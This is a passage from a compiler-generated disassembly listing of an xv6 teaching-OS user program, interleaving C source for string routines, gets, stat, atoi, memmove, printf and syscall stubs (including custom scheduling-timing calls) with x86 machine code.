q++;\n 386:\t83 c1 01 \tadd $0x1,%ecx\n 389:\t0f b6 19 \tmovzbl (%ecx),%ebx\n while(*p && *p == *q)\n 38c:\t84 c0 \ttest %al,%al\n 38e:\t74 10 \tje 3a0 \n 390:\t38 d8 \tcmp %bl,%al\n 392:\t74 ec \tje 380 \n return (uchar)*p - (uchar)*q;\n 394:\t29 d8 \tsub %ebx,%eax\n}\n 396:\t5b \tpop %ebx\n 397:\t5d \tpop %ebp\n 398:\tc3 \tret \n 399:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n 3a0:\t31 c0 \txor %eax,%eax\n return (uchar)*p - (uchar)*q;\n 3a2:\t29 d8 \tsub %ebx,%eax\n}\n 3a4:\t5b \tpop %ebx\n 3a5:\t5d \tpop %ebp\n 3a6:\tc3 \tret \n 3a7:\t89 f6 \tmov %esi,%esi\n 3a9:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n\n000003b0 :\n\nuint\nstrlen(const char *s)\n{\n 3b0:\t55 \tpush %ebp\n 3b1:\t89 e5 \tmov %esp,%ebp\n 3b3:\t8b 4d 08 \tmov 0x8(%ebp),%ecx\n int n;\n\n for(n = 0; s[n]; n++)\n 3b6:\t80 39 00 \tcmpb $0x0,(%ecx)\n 3b9:\t74 15 \tje 3d0 \n 3bb:\t31 d2 \txor %edx,%edx\n 3bd:\t8d 76 00 \tlea 0x0(%esi),%esi\n 3c0:\t83 c2 01 \tadd $0x1,%edx\n 3c3:\t80 3c 11 00 \tcmpb $0x0,(%ecx,%edx,1)\n 3c7:\t89 d0 \tmov %edx,%eax\n 3c9:\t75 f5 \tjne 3c0 \n ;\n return n;\n}\n 3cb:\t5d \tpop %ebp\n 3cc:\tc3 \tret \n 3cd:\t8d 76 00 \tlea 0x0(%esi),%esi\n for(n = 0; s[n]; n++)\n 3d0:\t31 c0 \txor %eax,%eax\n}\n 3d2:\t5d \tpop %ebp\n 3d3:\tc3 \tret \n 3d4:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n 3da:\t8d bf 00 00 00 00 \tlea 0x0(%edi),%edi\n\n000003e0 :\n\nvoid*\nmemset(void *dst, int c, uint n)\n{\n 3e0:\t55 \tpush %ebp\n 3e1:\t89 e5 \tmov %esp,%ebp\n 3e3:\t57 \tpush %edi\n 3e4:\t8b 55 08 \tmov 0x8(%ebp),%edx\n}\n\nstatic inline void\nstosb(void *addr, int data, int cnt)\n{\n asm volatile(\"cld; rep stosb\" :\n 3e7:\t8b 4d 10 \tmov 0x10(%ebp),%ecx\n 3ea:\t8b 45 0c \tmov 0xc(%ebp),%eax\n 3ed:\t89 d7 \tmov %edx,%edi\n 3ef:\tfc \tcld \n 3f0:\tf3 aa \trep stos %al,%es:(%edi)\n stosb(dst, c, n);\n return dst;\n}\n 3f2:\t89 d0 \tmov %edx,%eax\n 3f4:\t5f \tpop %edi\n 3f5:\t5d \tpop %ebp\n 3f6:\tc3 \tret \n 3f7:\t89 f6 \tmov %esi,%esi\n 3f9:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n\n00000400 :\n\nchar*\nstrchr(const char *s, char c)\n{\n 400:\t55 \tpush %ebp\n 401:\t89 e5 \tmov %esp,%ebp\n 403:\t53 \tpush %ebx\n 404:\t8b 45 08 \tmov 0x8(%ebp),%eax\n 407:\t8b 5d 0c \tmov 0xc(%ebp),%ebx\n for(; *s; s++)\n 40a:\t0f b6 10 \tmovzbl (%eax),%edx\n 40d:\t84 d2 \ttest %dl,%dl\n 40f:\t74 1d \tje 42e \n if(*s == c)\n 411:\t38 d3 \tcmp %dl,%bl\n 413:\t89 d9 \tmov %ebx,%ecx\n 415:\t75 0d \tjne 424 \n 417:\teb 17 \tjmp 430 \n 419:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n 420:\t38 ca \tcmp %cl,%dl\n 422:\t74 0c \tje 430 \n for(; *s; s++)\n 424:\t83 c0 01 \tadd $0x1,%eax\n 427:\t0f b6 10 \tmovzbl (%eax),%edx\n 42a:\t84 d2 \ttest %dl,%dl\n 42c:\t75 f2 \tjne 420 \n return (char*)s;\n return 0;\n 42e:\t31 c0 \txor %eax,%eax\n}\n 430:\t5b \tpop %ebx\n 431:\t5d \tpop %ebp\n 432:\tc3 \tret \n 433:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n 439:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n\n00000440 :\n\nchar*\ngets(char *buf, int max)\n{\n 440:\t55 \tpush %ebp\n 441:\t89 e5 \tmov %esp,%ebp\n 443:\t57 \tpush %edi\n 444:\t56 \tpush %esi\n 445:\t53 \tpush %ebx\n int i, cc;\n char c;\n\n for(i=0; i+1 < max; ){\n 446:\t31 f6 \txor %esi,%esi\n 448:\t89 f3 \tmov %esi,%ebx\n{\n 44a:\t83 ec 1c \tsub $0x1c,%esp\n 44d:\t8b 7d 08 \tmov 0x8(%ebp),%edi\n for(i=0; i+1 < max; ){\n 450:\teb 2f \tjmp 481 \n 452:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n cc = read(0, &c, 1);\n 458:\t8d 45 e7 \tlea -0x19(%ebp),%eax\n 45b:\t83 ec 04 \tsub $0x4,%esp\n 45e:\t6a 01 \tpush $0x1\n 460:\t50 \tpush %eax\n 461:\t6a 00 \tpush $0x0\n 463:\te8 32 01 00 00 \tcall 59a \n if(cc < 1)\n 468:\t83 c4 10 \tadd $0x10,%esp\n 46b:\t85 c0 \ttest %eax,%eax\n 46d:\t7e 1c \tjle 48b \n break;\n buf[i++] = c;\n 46f:\t0f b6 45 e7 \tmovzbl -0x19(%ebp),%eax\n 473:\t83 c7 01 \tadd $0x1,%edi\n 476:\t88 47 ff \tmov %al,-0x1(%edi)\n if(c == '\\n' || c == '\\r')\n 479:\t3c 0a \tcmp $0xa,%al\n 47b:\t74 23 \tje 4a0 \n 47d:\t3c 0d \tcmp $0xd,%al\n 47f:\t74 1f \tje 4a0 \n for(i=0; i+1 < max; ){\n 481:\t83 c3 01 \tadd $0x1,%ebx\n 484:\t3b 5d 0c \tcmp 0xc(%ebp),%ebx\n 487:\t89 fe \tmov %edi,%esi\n 489:\t7c cd \tjl 458 \n 48b:\t89 f3 \tmov %esi,%ebx\n break;\n }\n buf[i] = '\\0';\n return buf;\n}\n 48d:\t8b 45 08 \tmov 0x8(%ebp),%eax\n buf[i] = '\\0';\n 490:\tc6 03 00 \tmovb $0x0,(%ebx)\n}\n 493:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n 496:\t5b \tpop %ebx\n 497:\t5e \tpop %esi\n 498:\t5f \tpop %edi\n 499:\t5d \tpop %ebp\n 49a:\tc3 \tret \n 49b:\t90 \tnop\n 49c:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n 4a0:\t8b 75 08 \tmov 0x8(%ebp),%esi\n 4a3:\t8b 45 08 \tmov 0x8(%ebp),%eax\n 4a6:\t01 de \tadd %ebx,%esi\n 4a8:\t89 f3 \tmov %esi,%ebx\n buf[i] = '\\0';\n 4aa:\tc6 03 00 \tmovb $0x0,(%ebx)\n}\n 4ad:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n 4b0:\t5b \tpop %ebx\n 4b1:\t5e \tpop %esi\n 4b2:\t5f \tpop %edi\n 4b3:\t5d \tpop %ebp\n 4b4:\tc3 \tret \n 4b5:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n 4b9:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n\n000004c0 :\n\nint\nstat(const char *n, struct stat *st)\n{\n 4c0:\t55 \tpush %ebp\n 4c1:\t89 e5 \tmov %esp,%ebp\n 4c3:\t56 \tpush %esi\n 4c4:\t53 \tpush %ebx\n int fd;\n int r;\n\n fd = open(n, O_RDONLY);\n 4c5:\t83 ec 08 \tsub $0x8,%esp\n 4c8:\t6a 00 \tpush $0x0\n 4ca:\tff 75 08 \tpushl 0x8(%ebp)\n 4cd:\te8 f0 00 00 00 \tcall 5c2 \n if(fd < 0)\n 4d2:\t83 c4 10 \tadd $0x10,%esp\n 4d5:\t85 c0 \ttest %eax,%eax\n 4d7:\t78 27 \tjs 500 \n return -1;\n r = fstat(fd, st);\n 4d9:\t83 ec 08 \tsub $0x8,%esp\n 4dc:\tff 75 0c \tpushl 0xc(%ebp)\n 4df:\t89 c3 \tmov %eax,%ebx\n 4e1:\t50 \tpush %eax\n 4e2:\te8 f3 00 00 00 \tcall 5da \n close(fd);\n 4e7:\t89 1c 24 \tmov %ebx,(%esp)\n r = fstat(fd, st);\n 4ea:\t89 c6 \tmov %eax,%esi\n close(fd);\n 4ec:\te8 b9 00 00 00 \tcall 5aa \n return r;\n 4f1:\t83 c4 10 \tadd $0x10,%esp\n}\n 4f4:\t8d 65 f8 \tlea -0x8(%ebp),%esp\n 4f7:\t89 f0 \tmov %esi,%eax\n 4f9:\t5b \tpop %ebx\n 4fa:\t5e \tpop %esi\n 4fb:\t5d \tpop %ebp\n 4fc:\tc3 \tret \n 4fd:\t8d 76 00 \tlea 0x0(%esi),%esi\n return -1;\n 500:\tbe ff ff ff ff \tmov $0xffffffff,%esi\n 505:\teb ed \tjmp 4f4 \n 507:\t89 f6 \tmov %esi,%esi\n 509:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n\n00000510 :\n\nint\natoi(const char *s)\n{\n 510:\t55 \tpush %ebp\n 511:\t89 e5 \tmov %esp,%ebp\n 513:\t53 \tpush %ebx\n 514:\t8b 4d 08 \tmov 0x8(%ebp),%ecx\n int n;\n\n n = 0;\n while('0' <= *s && *s <= '9')\n 517:\t0f be 11 \tmovsbl (%ecx),%edx\n 51a:\t8d 42 d0 \tlea -0x30(%edx),%eax\n 51d:\t3c 09 \tcmp $0x9,%al\n n = 0;\n 51f:\tb8 00 00 00 00 \tmov $0x0,%eax\n while('0' <= *s && *s <= '9')\n 524:\t77 1f \tja 545 \n 526:\t8d 76 00 \tlea 0x0(%esi),%esi\n 529:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n n = n*10 + *s++ - '0';\n 530:\t8d 04 80 \tlea (%eax,%eax,4),%eax\n 533:\t83 c1 01 \tadd $0x1,%ecx\n 536:\t8d 44 42 d0 \tlea -0x30(%edx,%eax,2),%eax\n while('0' <= *s && *s <= '9')\n 53a:\t0f be 11 \tmovsbl (%ecx),%edx\n 53d:\t8d 5a d0 \tlea -0x30(%edx),%ebx\n 540:\t80 fb 09 \tcmp $0x9,%bl\n 543:\t76 eb \tjbe 530 \n return n;\n}\n 545:\t5b \tpop %ebx\n 546:\t5d \tpop %ebp\n 547:\tc3 \tret \n 548:\t90 \tnop\n 549:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n\n00000550 :\n\nvoid*\nmemmove(void *vdst, const void *vsrc, int n)\n{\n 550:\t55 \tpush %ebp\n 551:\t89 e5 \tmov %esp,%ebp\n 553:\t56 \tpush %esi\n 554:\t53 \tpush %ebx\n 555:\t8b 5d 10 \tmov 0x10(%ebp),%ebx\n 558:\t8b 45 08 \tmov 0x8(%ebp),%eax\n 55b:\t8b 75 0c \tmov 0xc(%ebp),%esi\n char *dst;\n const char *src;\n\n dst = vdst;\n src = vsrc;\n while(n-- > 0)\n 55e:\t85 db \ttest %ebx,%ebx\n 560:\t7e 14 \tjle 576 \n 562:\t31 d2 \txor %edx,%edx\n 564:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n *dst++ = *src++;\n 568:\t0f b6 0c 16 \tmovzbl (%esi,%edx,1),%ecx\n 56c:\t88 0c 10 \tmov %cl,(%eax,%edx,1)\n 56f:\t83 c2 01 \tadd $0x1,%edx\n while(n-- > 0)\n 572:\t39 d3 \tcmp %edx,%ebx\n 574:\t75 f2 \tjne 568 \n return vdst;\n}\n 576:\t5b \tpop %ebx\n 577:\t5e \tpop %esi\n 578:\t5d \tpop %ebp\n 579:\tc3 \tret \n\n0000057a :\n name: \\\n movl $SYS_ ## name, %eax; \\\n int $T_SYSCALL; \\\n ret\n\nSYSCALL(fork)\n 57a:\tb8 01 00 00 00 \tmov $0x1,%eax\n 57f:\tcd 40 \tint $0x40\n 581:\tc3 \tret \n\n00000582 :\nSYSCALL(exit)\n 582:\tb8 02 00 00 00 \tmov $0x2,%eax\n 587:\tcd 40 \tint $0x40\n 589:\tc3 \tret \n\n0000058a :\nSYSCALL(wait)\n 58a:\tb8 03 00 00 00 \tmov $0x3,%eax\n 58f:\tcd 40 \tint $0x40\n 591:\tc3 \tret \n\n00000592 :\nSYSCALL(pipe)\n 592:\tb8 04 00 00 00 \tmov $0x4,%eax\n 597:\tcd 40 \tint $0x40\n 599:\tc3 \tret \n\n0000059a :\nSYSCALL(read)\n 59a:\tb8 05 00 00 00 \tmov $0x5,%eax\n 59f:\tcd 40 \tint $0x40\n 5a1:\tc3 \tret \n\n000005a2 :\nSYSCALL(write)\n 5a2:\tb8 10 00 00 00 \tmov $0x10,%eax\n 5a7:\tcd 40 \tint $0x40\n 5a9:\tc3 \tret \n\n000005aa :\nSYSCALL(close)\n 5aa:\tb8 15 00 00 00 \tmov $0x15,%eax\n 5af:\tcd 40 \tint $0x40\n 5b1:\tc3 \tret \n\n000005b2 :\nSYSCALL(kill)\n 5b2:\tb8 06 00 00 00 \tmov $0x6,%eax\n 5b7:\tcd 40 \tint $0x40\n 5b9:\tc3 \tret \n\n000005ba :\nSYSCALL(exec)\n 5ba:\tb8 07 00 00 00 \tmov $0x7,%eax\n 5bf:\tcd 40 \tint $0x40\n 5c1:\tc3 \tret \n\n000005c2 :\nSYSCALL(open)\n 5c2:\tb8 0f 00 00 00 \tmov $0xf,%eax\n 5c7:\tcd 40 \tint $0x40\n 5c9:\tc3 \tret \n\n000005ca :\nSYSCALL(mknod)\n 5ca:\tb8 11 00 00 00 \tmov $0x11,%eax\n 5cf:\tcd 40 \tint $0x40\n 5d1:\tc3 \tret \n\n000005d2 :\nSYSCALL(unlink)\n 5d2:\tb8 12 00 00 00 \tmov $0x12,%eax\n 5d7:\tcd 40 \tint $0x40\n 5d9:\tc3 \tret \n\n000005da :\nSYSCALL(fstat)\n 5da:\tb8 08 00 00 00 \tmov $0x8,%eax\n 5df:\tcd 40 \tint $0x40\n 5e1:\tc3 \tret \n\n000005e2 :\nSYSCALL(link)\n 5e2:\tb8 13 00 00 00 \tmov $0x13,%eax\n 5e7:\tcd 40 \tint $0x40\n 5e9:\tc3 \tret \n\n000005ea :\nSYSCALL(mkdir)\n 5ea:\tb8 14 00 00 00 \tmov $0x14,%eax\n 5ef:\tcd 40 \tint $0x40\n 5f1:\tc3 \tret \n\n000005f2 :\nSYSCALL(chdir)\n 5f2:\tb8 09 00 00 00 \tmov $0x9,%eax\n 5f7:\tcd 40 \tint $0x40\n 5f9:\tc3 \tret \n\n000005fa :\nSYSCALL(dup)\n 5fa:\tb8 0a 00 00 00 \tmov $0xa,%eax\n 5ff:\tcd 40 \tint $0x40\n 601:\tc3 \tret \n\n00000602 :\nSYSCALL(getpid)\n 602:\tb8 0b 00 00 00 \tmov $0xb,%eax\n 607:\tcd 40 \tint $0x40\n 609:\tc3 \tret \n\n0000060a :\nSYSCALL(sbrk)\n 60a:\tb8 0c 00 00 00 \tmov $0xc,%eax\n 60f:\tcd 40 \tint $0x40\n 611:\tc3 \tret \n\n00000612 :\nSYSCALL(sleep)\n 612:\tb8 0d 00 00 00 \tmov $0xd,%eax\n 617:\tcd 40 \tint $0x40\n 619:\tc3 \tret \n\n0000061a :\nSYSCALL(uptime)\n 61a:\tb8 0e 00 00 00 \tmov $0xe,%eax\n 61f:\tcd 40 \tint $0x40\n 621:\tc3 \tret \n\n00000622 :\nSYSCALL(getyear)\n 622:\tb8 16 00 00 00 \tmov $0x16,%eax\n 627:\tcd 40 \tint $0x40\n 629:\tc3 \tret \n\n0000062a :\nSYSCALL(runtime)\n 62a:\tb8 17 00 00 00 \tmov $0x17,%eax\n 62f:\tcd 40 \tint $0x40\n 631:\tc3 \tret \n\n00000632 :\nSYSCALL(waittime)\n 632:\tb8 18 00 00 00 \tmov $0x18,%eax\n 637:\tcd 40 \tint $0x40\n 639:\tc3 \tret \n\n0000063a :\nSYSCALL(turntime)\n 63a:\tb8 19 00 00 00 \tmov $0x19,%eax\n 63f:\tcd 40 \tint $0x40\n 641:\tc3 \tret \n 642:\t66 90 \txchg %ax,%ax\n 644:\t66 90 \txchg %ax,%ax\n 646:\t66 90 \txchg %ax,%ax\n 648:\t66 90 \txchg %ax,%ax\n 64a:\t66 90 \txchg %ax,%ax\n 64c:\t66 90 \txchg %ax,%ax\n 64e:\t66 90 \txchg %ax,%ax\n\n00000650 :\n write(fd, &c, 1);\n}\n\nstatic void\nprintint(int fd, int xx, int base, int sgn)\n{\n 650:\t55 \tpush %ebp\n 651:\t89 e5 \tmov %esp,%ebp\n 653:\t57 \tpush %edi\n 654:\t56 \tpush %esi\n 655:\t53 \tpush %ebx\n 656:\t83 ec 3c \tsub $0x3c,%esp\n char buf[16];\n int i, neg;\n uint x;\n\n neg = 0;\n if(sgn && xx < 0){\n 659:\t85 d2 \ttest %edx,%edx\n{\n 65b:\t89 45 c0 \tmov %eax,-0x40(%ebp)\n neg = 1;\n x = -xx;\n 65e:\t89 d0 \tmov %edx,%eax\n if(sgn && xx < 0){\n 660:\t79 76 \tjns 6d8 \n 662:\tf6 45 08 01 \ttestb $0x1,0x8(%ebp)\n 666:\t74 70 \tje 6d8 \n x = -xx;\n 668:\tf7 d8 \tneg %eax\n neg = 1;\n 66a:\tc7 45 c4 01 00 00 00 \tmovl $0x1,-0x3c(%ebp)\n } else {\n x = xx;\n }\n\n i = 0;\n 671:\t31 f6 \txor %esi,%esi\n 673:\t8d 5d d7 \tlea -0x29(%ebp),%ebx\n 676:\teb 0a \tjmp 682 \n 678:\t90 \tnop\n 679:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n do{\n buf[i++] = digits[x % base];\n 680:\t89 fe \tmov %edi,%esi\n 682:\t31 d2 \txor %edx,%edx\n 684:\t8d 7e 01 \tlea 0x1(%esi),%edi\n 687:\tf7 f1 \tdiv %ecx\n 689:\t0f b6 92 88 0a 00 00 \tmovzbl 0xa88(%edx),%edx\n }while((x \/= base) != 0);\n 690:\t85 c0 \ttest %eax,%eax\n buf[i++] = digits[x % base];\n 692:\t88 14 3b \tmov %dl,(%ebx,%edi,1)\n }while((x \/= base) != 0);\n 695:\t75 e9 \tjne 680 \n if(neg)\n 697:\t8b 45 c4 \tmov -0x3c(%ebp),%eax\n 69a:\t85 c0 \ttest %eax,%eax\n 69c:\t74 08 \tje 6a6 \n buf[i++] = '-';\n 69e:\tc6 44 3d d8 2d \tmovb $0x2d,-0x28(%ebp,%edi,1)\n 6a3:\t8d 7e 02 \tlea 0x2(%esi),%edi\n 6a6:\t8d 74 3d d7 \tlea -0x29(%ebp,%edi,1),%esi\n 6aa:\t8b 7d c0 \tmov -0x40(%ebp),%edi\n 6ad:\t8d 76 00 \tlea 0x0(%esi),%esi\n 6b0:\t0f b6 06 \tmovzbl (%esi),%eax\n write(fd, &c, 1);\n 6b3:\t83 ec 04 \tsub $0x4,%esp\n 6b6:\t83 ee 01 \tsub $0x1,%esi\n 6b9:\t6a 01 \tpush $0x1\n 6bb:\t53 \tpush %ebx\n 6bc:\t57 \tpush %edi\n 6bd:\t88 45 d7 \tmov %al,-0x29(%ebp)\n 6c0:\te8 dd fe ff ff \tcall 5a2 \n\n while(--i >= 0)\n 6c5:\t83 c4 10 \tadd $0x10,%esp\n 6c8:\t39 de \tcmp %ebx,%esi\n 6ca:\t75 e4 \tjne 6b0 \n putc(fd, buf[i]);\n}\n 6cc:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n 6cf:\t5b \tpop %ebx\n 6d0:\t5e \tpop %esi\n 6d1:\t5f \tpop %edi\n 6d2:\t5d \tpop %ebp\n 6d3:\tc3 \tret \n 6d4:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n neg = 0;\n 6d8:\tc7 45 c4 00 00 00 00 \tmovl $0x0,-0x3c(%ebp)\n 6df:\teb 90 \tjmp 671 \n 6e1:\teb 0d \tjmp 6f0 \n 6e3:\t90 \tnop\n 6e4:\t90 \tnop\n 6e5:\t90 \tnop\n 6e6:\t90 \tnop\n 6e7:\t90 \tnop\n 6e8:\t90 \tnop\n 6e9:\t90 \tnop\n 6ea:\t90 \tnop\n 6eb:\t90 \tnop\n 6ec:\t90 \tnop\n 6ed:\t90 \tnop\n 6ee:\t90 \tnop\n 6ef:\t90 \tnop\n\n000006f0 :\n\n\/\/ Print to the given fd. Only understands %d, %x, %p, %s.\nvoid\nprintf(int fd, const char *fmt, ...)\n{\n 6f0:\t55 \tpush %ebp\n 6f1:\t89 e5 \tmov %esp,%ebp\n 6f3:\t57 \tpush %edi\n 6f4:\t56 \tpush %esi\n 6f5:\t53 \tpush %ebx\n 6f6:\t83 ec 2c \tsub $0x2c,%esp\n int c, i, state;\n uint *ap;\n\n state = 0;\n ap = (uint*)(void*)&fmt + 1;\n for(i = 0; fmt[i]; i++){\n 6f9:\t8b 75 0c \tmov 0xc(%ebp),%esi\n 6fc:\t0f b6 1e \tmovzbl (%esi),%ebx\n 6ff:\t84 db \ttest %bl,%bl\n 701:\t0f 84 b3 00 00 00 \tje 7ba \n ap = (uint*)(void*)&fmt + 1;\n 707:\t8d 45 10 \tlea 0x10(%ebp),%eax\n 70a:\t83 c6 01 \tadd $0x1,%esi\n state = 0;\n 70d:\t31 ff \txor %edi,%edi\n ap = (uint*)(void*)&fmt + 1;\n 70f:\t89 45 d4 \tmov %eax,-0x2c(%ebp)\n 712:\teb 2f \tjmp 743 \n 714:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n c = fmt[i] & 0xff;\n if(state == 0){\n if(c == '%'){\n 718:\t83 f8 25 \tcmp $0x25,%eax\n 71b:\t0f 84 a7 00 00 00 \tje 7c8 \n write(fd, &c, 1);\n 721:\t8d 45 e2 \tlea -0x1e(%ebp),%eax\n 724:\t83 ec 04 \tsub $0x4,%esp\n 727:\t88 5d e2 \tmov %bl,-0x1e(%ebp)\n 72a:\t6a 01 \tpush $0x1\n 72c:\t50 \tpush %eax\n 72d:\tff 75 08 \tpushl 0x8(%ebp)\n 730:\te8 6d fe ff ff \tcall 5a2 \n 735:\t83 c4 10 \tadd $0x10,%esp\n 738:\t83 c6 01 \tadd $0x1,%esi\n for(i = 0; fmt[i]; i++){\n 73b:\t0f b6 5e ff \tmovzbl -0x1(%esi),%ebx\n 73f:\t84 db \ttest %bl,%bl\n 741:\t74 77 \tje 7ba \n if(state == 0){\n 743:\t85 ff \ttest %edi,%edi\n c = fmt[i] & 0xff;\n 745:\t0f be cb \tmovsbl %bl,%ecx\n 748:\t0f b6 c3 \tmovzbl %bl,%eax\n if(state == 0){\n 74b:\t74 cb \tje 718 \n state = '%';\n } else {\n putc(fd, c);\n }\n } else if(state == '%'){\n 74d:\t83 ff 25 \tcmp $0x25,%edi\n 750:\t75 e6 \tjne 738 \n if(c == 'd'){\n 752:\t83 f8 64 \tcmp $0x64,%eax\n 755:\t0f 84 05 01 00 00 \tje 860 \n printint(fd, *ap, 10, 1);\n ap++;\n } else if(c == 'x' || c == 'p'){\n 75b:\t81 e1 f7 00 00 00 \tand $0xf7,%ecx\n 761:\t83 f9 70 \tcmp $0x70,%ecx\n 764:\t74 72 \tje 7d8 \n printint(fd, *ap, 16, 0);\n ap++;\n } else if(c == 's'){\n 766:\t83 f8 73 \tcmp $0x73,%eax\n 769:\t0f 84 99 00 00 00 \tje 808 \n s = \"(null)\";\n while(*s != 0){\n putc(fd, *s);\n s++;\n }\n } else if(c == 'c'){\n 76f:\t83 f8 63 \tcmp $0x63,%eax\n 772:\t0f 84 08 01 00 00 \tje 880 \n putc(fd, *ap);\n ap++;\n } else if(c == '%'){\n 778:\t83 f8 25 \tcmp $0x25,%eax\n 77b:\t0f 84 ef 00 00 00 \tje 870 \n write(fd, &c, 1);\n 781:\t8d 45 e7 \tlea -0x19(%ebp),%eax\n 784:\t83 ec 04 \tsub $0x4,%esp\n 787:\tc6 45 e7 25 \tmovb $0x25,-0x19(%ebp)\n 78b:\t6a 01 \tpush $0x1\n 78d:\t50 \tpush %eax\n 78e:\tff 75 08 \tpushl 0x8(%ebp)\n 791:\te8 0c fe ff ff \tcall 5a2 \n 796:\t83 c4 0c \tadd $0xc,%esp\n 799:\t8d 45 e6 \tlea -0x1a(%ebp),%eax\n 79c:\t88 5d e6 \tmov %bl,-0x1a(%ebp)\n 79f:\t6a 01 \tpush $0x1\n 7a1:\t50 \tpush %eax\n 7a2:\tff 75 08 \tpushl 0x8(%ebp)\n 7a5:\t83 c6 01 \tadd $0x1,%esi\n } else {\n \/\/ Unknown % sequence. Print it to draw attention.\n putc(fd, '%');\n putc(fd, c);\n }\n state = 0;\n 7a8:\t31 ff \txor %edi,%edi\n write(fd, &c, 1);\n 7aa:\te8 f3 fd ff ff \tcall 5a2 \n for(i = 0; fmt[i]; i++){\n 7af:\t0f b6 5e ff \tmovzbl -0x1(%esi),%ebx\n write(fd, &c, 1);\n 7b3:\t83 c4 10 \tadd $0x10,%esp\n for(i = 0; fmt[i]; i++){\n 7b6:\t84 db \ttest %bl,%bl\n 7b8:\t75 89 \tjne 743 \n }\n }\n}\n 7ba:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n 7bd:\t5b \tpop %ebx\n 7be:\t5e \tpop %esi\n 7bf:\t5f \tpop %edi\n 7c0:\t5d \tpop %ebp\n 7c1:\tc3 \tret \n 7c2:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n state = '%';\n 7c8:\tbf 25 00 00 00 \tmov $0x25,%edi\n 7cd:\te9 66 ff ff ff \tjmp 738 \n 7d2:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n printint(fd, *ap, 16, 0);\n 7d8:\t83 ec 0c \tsub $0xc,%esp\n 7db:\tb9 10 00 00 00 \tmov $0x10,%ecx\n 7e0:\t6a 00 \tpush $0x0\n 7e2:\t8b 7d d4 \tmov -0x2c(%ebp),%edi\n 7e5:\t8b 45 08 \tmov 0x8(%ebp),%eax\n 7e8:\t8b 17 \tmov (%edi),%edx\n 7ea:\te8 61 fe ff ff \tcall 650 \n ap++;\n 7ef:\t89 f8 \tmov %edi,%eax\n 7f1:\t83 c4 10 \tadd $0x10,%esp\n state = 0;\n 7f4:\t31 ff \txor %edi,%edi\n ap++;\n 7f6:\t83 c0 04 \tadd $0x4,%eax\n 7f9:\t89 45 d4 \tmov %eax,-0x2c(%ebp)\n 7fc:\te9 37 ff ff ff \tjmp 738 \n 801:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n s = (char*)*ap;\n 808:\t8b 45 d4 \tmov -0x2c(%ebp),%eax\n 80b:\t8b 08 \tmov (%eax),%ecx\n ap++;\n 80d:\t83 c0 04 \tadd $0x4,%eax\n 810:\t89 45 d4 \tmov %eax,-0x2c(%ebp)\n if(s == 0)\n 813:\t85 c9 \ttest %ecx,%ecx\n 815:\t0f 84 8e 00 00 00 \tje 8a9 \n while(*s != 0){\n 81b:\t0f b6 01 \tmovzbl (%ecx),%eax\n state = 0;\n 81e:\t31 ff \txor %edi,%edi\n s = (char*)*ap;\n 820:\t89 cb \tmov %ecx,%ebx\n while(*s != 0){\n 822:\t84 c0 \ttest %al,%al\n 824:\t0f 84 0e ff ff ff \tje 738 \n 82a:\t89 75 d0 \tmov %esi,-0x30(%ebp)\n 82d:\t89 de \tmov %ebx,%esi\n 82f:\t8b 5d 08 \tmov 0x8(%ebp),%ebx\n 832:\t8d 7d e3 \tlea -0x1d(%ebp),%edi\n 835:\t8d 76 00 \tlea 0x0(%esi),%esi\n write(fd, &c, 1);\n 838:\t83 ec 04 \tsub $0x4,%esp\n s++;\n 83b:\t83 c6 01 \tadd $0x1,%esi\n 83e:\t88 45 e3 \tmov %al,-0x1d(%ebp)\n write(fd, &c, 1);\n 841:\t6a 01 \tpush $0x1\n 843:\t57 \tpush %edi\n 844:\t53 \tpush %ebx\n 845:\te8 58 fd ff ff \tcall 5a2 \n while(*s != 0){\n 84a:\t0f b6 06 \tmovzbl (%esi),%eax\n 84d:\t83 c4 10 \tadd $0x10,%esp\n 850:\t84 c0 \ttest %al,%al\n 852:\t75 e4 \tjne 838 \n 854:\t8b 75 d0 \tmov -0x30(%ebp),%esi\n state = 0;\n 857:\t31 ff \txor %edi,%edi\n 859:\te9 da fe ff ff \tjmp 738 \n 85e:\t66 90 \txchg %ax,%ax\n printint(fd, *ap, 10, 1);\n 860:\t83 ec 0c \tsub $0xc,%esp\n 863:\tb9 0a 00 00 00 \tmov $0xa,%ecx\n 868:\t6a 01 \tpush $0x1\n 86a:\te9 73 ff ff ff \tjmp 7e2 \n 86f:\t90 \tnop\n write(fd, &c, 1);\n 870:\t83 ec 04 \tsub $0x4,%esp\n 873:\t88 5d e5 \tmov %bl,-0x1b(%ebp)\n 876:\t8d 45 e5 \tlea -0x1b(%ebp),%eax\n 879:\t6a 01 \tpush $0x1\n 87b:\te9 21 ff ff ff \tjmp 7a1 \n putc(fd, *ap);\n 880:\t8b 7d d4 \tmov -0x2c(%ebp),%edi\n write(fd, &c, 1);\n 883:\t83 ec 04 \tsub $0x4,%esp\n putc(fd, *ap);\n 886:\t8b 07 \tmov (%edi),%eax\n write(fd, &c, 1);\n 888:\t6a 01 \tpush $0x1\n 